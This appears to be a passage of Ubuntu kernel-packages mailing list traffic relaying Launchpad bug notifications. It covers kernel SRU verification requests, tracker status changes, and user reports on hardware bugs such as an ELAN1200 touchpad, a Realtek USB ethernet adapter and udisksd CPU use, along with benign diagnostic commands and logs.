This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779830 Title: vfio/pci: cannot assign a i40e pf device to a vm using vfio-pci Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: Fix Committed Bug description: The following upstream patch (v4.7) is missing in xenial: 450744051d20 ("vfio/pci: Hide broken INTx support from user") http://scm/kernels/linux-upstream/commit/?id=450744051d20 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779830/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1780227] Re: locking sockets broken due to missing AppArmor socket mediation patches
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1780227 Title: locking sockets broken due to missing AppArmor socket mediation patches Status in apparmor package in Ubuntu: Invalid Status in linux package in Ubuntu: Fix Committed Status in apparmor source package in Xenial: Invalid Status in linux source package in Xenial: Fix Committed Status in apparmor source package in Bionic: Invalid Status in linux source package in Bionic: Fix Committed Bug description: Hey, Newer systemd makes use of locks placed on AF_UNIX sockets created with the socketpair() syscall to synchronize various bits and pieces when isolating services. On kernels prior to 4.18 that do not have backported the AppArmor socket mediation patchset this will cause the locks to be denied with EACCESS. This causes systemd to be broken in LXC and LXD containers that do not run unconfined which is a pretty big deal. We have seen various bug reports related to this. See for example [1] and [2]. If feasible it would be excellent if we could backport the socket mediation patchset to all LTS kernels. Afaict, this should be 4.4 and 4.15. This will unbreak a whole range of use-cases. The socket mediation patchset is available here: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=80a17a5f501ea048d86f81d629c94062b76610d4 [1]: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1575779 [2]: https://github.com/systemd/systemd/issues/9493 Thanks! Christian To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1780227/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783152] Re: Enable basic support for Solarflare 8000 series NIC
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783152 Title: Enable basic support for Solarflare 8000 series NIC Status in linux package in Ubuntu: Confirmed Status in linux-lts-xenial package in Ubuntu: New Status in linux source package in Trusty: Invalid Status in linux-lts-xenial source package in Trusty: In Progress Status in linux source package in Xenial: Fix Committed Status in linux-lts-xenial source package in Xenial: Invalid Bug description: SRU Justification: [Impact] * Users cannot use Solarflare 8000 series NICs. * Servers with only this NIC cannot do netboot. * The patchset adds the PCI IDs and a basic fix. [Test Case] * Try to probe/netboot/use a Solarflare 8000 series NIC. * It does not probe on the original kernel, but it does probe/netboot/install/stress (i.e., basic fuctionality works) on the patched kernel. [Regression Potential] * Users with Solarflare 8000 series NIC might hit problems on device probe or due to a new network interface coming up, now that the NIC comes up. * More specific features of the NIC or advanced tuning/setup might not work as expected or run into issues. [Other Info] * There are known error messages on device probe. * These are benign/non-fatal and will be addressed on another SRU cycle. --- The Trusty HWE kernel from Xenial lacks the PCI ID for the Solarflare 8000 series NIC. This prevents network installs on servers which only have that NIC. In order to get NIC detected, link up, and successful network install, only 2 commits are required: dd248f1bc65b sfc: Add PCI ID for Solarflare 8000 series 10/40G NIC 93171b14a545 sfc: make TSO version a per-queue parameter This patchset is undergoing testing, and I will post the patches to the kernel-team mailing list. --- There are some kernel messages produced possibly due to additional commits missing, but are benign/non-fatal and allows the NIC probing and basic functionality to work. [2.803941] sfc :37:00.0 (unnamed net_device) (uninitialized): Solarflare NIC detected [2.806336] sfc :37:00.0 (unnamed net_device) (uninitialized): Part Number : SFN8042 [2.807366] sfc :37:00.0 (unnamed net_device) (uninitialized): MC command 0x4a inlen 8 failed rc=-2 (raw=2) arg=0 [2.808052] sfc :37:00.0 (unnamed net_device) (uninitialized): no PTP support [2.808488] sfc :37:00.0 (unnamed net_device) (uninitialized): MC command 0x8f inlen 0 failed rc=-1 (raw=1) arg=0 [2.808605] sfc :37:00.0 (unnamed net_device) (uninitialized): failed to allocate PIO buffers (-1) ... [4.037694] sfc :37:00.0 p2p1: link up at 4Mbps full-duplex (MTU 1500) The PTP (precision time protocol / ieee 1588) support is a feature to synchronize clocks over a computer network with high precision, and is not required for basic functionality nor for this particular user. The failure to allocate PIO buffers is non-fatal, see sfc/ef10.c/efx_ef10_dimension_resources() comments. The additional patches to resolve the error messages will be worked on another SRU cycle. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783152/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/certification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-beta Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) - kernel-stable-phase:Uploaded - kernel-stable-phase-changed:Thursday, 02. August 2018 09:32 UTC - -- swm properties -- boot-testing-requested: true phase: Uploaded + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 18:03 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true - phase: Uploaded - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 18:03 UTC + bugs-spammed: true + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783241] Re: [HMS] Upgrades to Support SocketCAN over USB on Dell IoT 300x Gateways
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783241 Title: [HMS] Upgrades to Support SocketCAN over USB on Dell IoT 300x Gateways Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: Several scheduled upgrades to the HMS SocketCAN protocol driver over USB->CAN interface are required. SocketCAN support for USB->CAN devices was introduced in Ubuntu Xenial LTS kernel through following patch (BugLink: http://bugs.launchpad.net/bugs/1774563): cddf58207a3c UBUNTU: SAUCE: (no-up) Support IXXAT USB SocketCAN device == SRU Justification == The scheduled upgrades include following changes: - support adapters for CL1 (Communication Layer for legacy devices) and CL2 (current devices) - removed CAN-IDM100 support (Microchip Rev A microcontroller) - add CAN-IDM101 support (Microchip Rev B microcontroller) - add Error-Passive recognition - move CAN message handling to the core module - use ktime API for timestamps - fixes Linux kernel coding style issues == Fix == UBUNTU: SAUCE: (no-up) upgrade IXXAT USB SocketCAN driver == Regression Potential == Low. The driver will be built only for amd64 kernels and attach itself to IXXAT USB-CAN adapters with VID 0x08d8. Also, patches from the vendor (HMS) have already been tested by Dell/ODM, Canonical QA on Dell 300x Edge IoT gateways. This bug is for tracking purposes only, please do not triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783241/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Hello Vassilis and welcome to the bug report! Your touchpad might be slightly different though I doubt it. Check this out: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782653 Are you able to reload i2c_hid during runtime? I think reloading it gives me a blackscreen You might be right with your theory. Seems like the dmesg spam also comes from i2c_hid. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
Hello all The same happens to my laptop that I've bought a week ago (Asus FX503VM, GTX1060). I had already seen that the touchpad had issues with the default 4.15 kernel on Ubuntu 18.04 that I have installed. Therefore I have installed Ukuu and managed to load later kernels. Indeed running 4.17.11 had the touchpad working perfectly (no stuttering and lag), but unfortunately with the freezing problem mentioned here, present. After some experimenting with the modules, I have realised that unloading and loading the i2c_hid module fixes the freeze. After the last post pointing at bugzilla for Fedora, I can verify that unloading and loading the i2c_hid module fixes the problem which is also caused by a five finger tap as stated there (for me it is sometimes caused even during the two finger scroll). I've now updated the kernel to 4.17.12 but the problem persists and no fix seems to be incorporated. IMHO, the problem is at the i2c_hid module. Let's hope that this will be fixed soon. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784310] Re: linux-kvm: 4.4.0-1030.36 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => Fix Committed ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784310 Title: linux-kvm: 4.4.0-1030.36 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-kvm package in Ubuntu: Invalid Status in linux-kvm source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784310/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785282] [NEW] arm-smmu-v3 arm-smmu-v3.1.auto: failed to allocate MSIs
Public bug reported: [Impact] ARM systems w/ an SMMUv3 that uses MSI control interrupts fail to initialize them, which can e.g. prevent detected device errors from being reported. [Test Case] dmesg | grep "failed to allocate MSIs" grep arm-smmu-v3 /proc/interrupts [Fix] Upstream fixes that add support for the SMMUv3 device ID mapping index - which is required for MSI support - need to be included. [Regression Risk] By enabling these interrupts, we're allowing code to run that previously didn't, which could potentially do bad things. However, the interrupt handlers look pretty simple/straightforward, and I haven't seen any problems on a system that uses them w/ the fixes applied. ** Affects: linux (Ubuntu) Importance: Undecided Assignee: dann frazier (dannf) Status: Fix Released ** Affects: linux (Ubuntu Bionic) Importance: Undecided Assignee: dann frazier (dannf) Status: In Progress ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => In Progress ** Changed in: linux (Ubuntu Bionic) Assignee: (unassigned) => dann frazier (dannf) ** Changed in: linux (Ubuntu) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785282 Title: arm-smmu-v3 arm-smmu-v3.1.auto: failed to allocate MSIs Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: In Progress Bug description: [Impact] ARM systems w/ an SMMUv3 that uses MSI control interrupts fail to initialize them, which can e.g. prevent detected device errors from being reported. [Test Case] dmesg | grep "failed to allocate MSIs" grep arm-smmu-v3 /proc/interrupts [Fix] Upstream fixes that add support for the SMMUv3 device ID mapping index - which is required for MSI support - need to be included. [Regression Risk] By enabling these interrupts, we're allowing code to run that previously didn't, which could potentially do bad things. However, the interrupt handlers look pretty simple/straightforward, and I haven't seen any problems on a system that uses them w/ the fixes applied. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785282/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1586195] Re: Realtek 8153-based ethernet adapter on usb3 eventually stops working requiring unplug/replug
Bougron (francis-bougron), it most helpful if you use the computer the problem is reproducible with, and provide necessary debugging logs by filing a new report with Ubuntu via a terminal: ubuntu-bug linux Please feel free to subscribe me to it. ** Attachment removed: "seven seven failures on a usb3 port" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1586195/+attachment/5171223/+files/USB3.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1586195 Title: Realtek 8153-based ethernet adapter on usb3 eventually stops working requiring unplug/replug Status in linux package in Ubuntu: Expired Status in linux source package in Xenial: Expired Bug description: Continued in Bug #1622322. Seems to be paired with dmesg entries like this on the trusty kernel: [24763.731054] usb 4-4.2: Disable of device-initiated U1 failed. [24763.734507] usb 4-4.2: Disable of device-initiated U2 failed. [24763.734594] r815x 4-4.2:2.0 eth3: unregister 'r815x' usb-:00:14.0-4.2, RTL8153 ECM Device [24763.802963] usb 4-4.2: Set SEL for device-initiated U1 failed. [24763.806450] usb 4-4.2: Set SEL for device-initiated U2 failed. [24763.809953] usb 4-4.2: usb_reset_and_verify_device Failed to disable LTM [24763.809953] . [24763.810579] usb 4-4.2: USB disconnect, device number 7 [24763.940765] userif-1: sent link down event. [24763.940769] userif-1: sent link up event. And like this on mainline: [ 259.731142] usb 4-3: new SuperSpeed USB device number 4 using xhci_hcd [ 259.752915] usb 4-3: New USB device found, idVendor=0bda, idProduct=8153 [ 259.752918] usb 4-3: New USB device strings: Mfr=1, Product=2, SerialNumber=6 [ 259.752920] usb 4-3: Product: USB 10/100/1000 LAN [ 259.752921] usb 4-3: Manufacturer: Realtek [ 259.752922] usb 4-3: SerialNumber: 0100 [ 259.909368] usb 4-3: reset SuperSpeed USB device number 4 using xhci_hcd [ 259.993254] r8152 4-3:1.0 eth0: v1.08.3 [ 260.079151] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready [ 296.266600] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 300.785814] r8152 4-3:1.0 eth0: Stop submitting intr, status -71 [ 302.832697] usb 4-3: usb_reset_and_verify_device Failed to disable LTM [ 302.832697] . [ 302.833086] usb 4-3: USB disconnect, device number 4 Mainline version fyi: [0.00] Linux version 4.6.0-040600-generic (kernel@gomeisa) (gcc version 5.3.1 20160509 (Ubuntu 5.3.1-19ubuntu1) ) #201605151930 SMP Sun May 15 23:32:59 UTC 2016 I also get a similar message about 'Failed to disable LTM' if I just unplug the device before the breakage occurs. I've attached lsusb before the breakage occurs (so you can see the device) from the mainline kernel. Interestingly it appears the drivers on trusty and wily/mainline are different (r815x vs r8152) yet still exhibit similar troubles. I'm still digging around to try and figure out why this doesn't seem to be working, but I was wondering if you all had any idea what might be going pear-shaped here. Thanks! To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1586195/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1589418] Re: udisksd high CPU usage
fugounashi, it is most helpful if you use the computer the problem is reproducible with, and provide necessary debugging logs by filing a new report with Ubuntu via a terminal: ubuntu-bug linux Please feel free to subscribe me to it. ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1589418 Title: udisksd high CPU usage Status in linux package in Ubuntu: Incomplete Bug description: Using: libudisks2-0:amd64 2.1.6-2ubuntu1 Ubuntu 4.2.0-36.42-generic 4.2.8-ckt8 Description: Ubuntu 15.10 Release: 15.10 When I add USB drives to my system I end-up with udisksd using 100% of a core shortly after. After some time this goes up to 200% (in one step), so using 2 cores. Thread view shows CPU time of CMD 'pool': # ps -T -p PID SPID TTY TIME CMD 26229 26229 ?00:00:00 udisksd 26229 26230 ?00:00:00 gmain 26229 26232 ?00:00:00 gdbus 26229 26233 ?00:00:00 probing-thread 26229 26234 ?00:00:00 cleanup 26229 3325 ?00:33:16 pool 26229 5027 ?00:03:00 pool My solution is to kill it and let it restart. Strace needs to follow threads to show activity, it's then flooding with: # strace -p -f [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2 ([{fd=12, revents=POLLIN}, {fd=17, revents=POLLOUT}]) [pid 3325] read(12, "\2\0\0\0\0\0\0\0", 16) = 8 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] write(2, "\n(udisksd:26229): GLib-WARNING *"..., 87) = 87 [pid 3325] write(12, "\1\0\0\0\0\0\0\0", 8) = 8 [pid 3325] poll([{fd=12, events=POLLIN}, {fd=17, events=POLLOUT}, {fd=18, events=POLLIN}, {fd=20, events=POLLIN}], 4, 0) = 2^CProcess 26229 detached THANKS! --- ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: bones 1880 F panel-8-mixer bones 1944 F pulseaudio /dev/snd/controlC1: bones 1880 F panel-8-mixer bones 1944 F pulseaudio DistroRelease: Ubuntu 15.10 HibernationDevice: RESUME=UUID=34ae084e-472d-4798-bacb-fd0f010fe477 InstallationDate: Installed on 2016-01-06 (154 days ago) InstallationMedia: Kubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) MachineType: LENOVO 20BXCTO1WW Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.2.0-36-generic.efi.signed root=/dev/mapper/kubuntu--vg-root ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.2.0-36.42-generic 4.2.8-ckt8 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not accessible: Permission denied No PulseAudio daemon running, or not running as session daemon. RelatedPackageVersions: linux-restricted-modules-4.2.0-36-generic N/A linux-backports-modules-4.2.0-36-generic N/A linux-firmware1.149.3 Tags: wily UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' Uname: Linux 4.2.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True dmi.bios.date: 11/06/2015 dmi.bios.vendor: LENOVO dmi.bios.version: JBET54WW (1.19 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BXCTO1WW dmi.board.vendor: LENOVO dmi.board.version: SDK0J40709 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrJBET54WW(1.19):bd11/06/2015:svnLENOVO:pn20BXCTO1WW:pvrThinkPadT450s:rvnLENOVO:rn20BXCTO1WW:rvrSDK0J40709WIN:cvnLENOVO:ct10:cvrNone: dmi.product.name: 20BXCTO1WW dmi.product.version: ThinkPad T450s dmi.sys.vendor: LENOVO To manage notifications about this
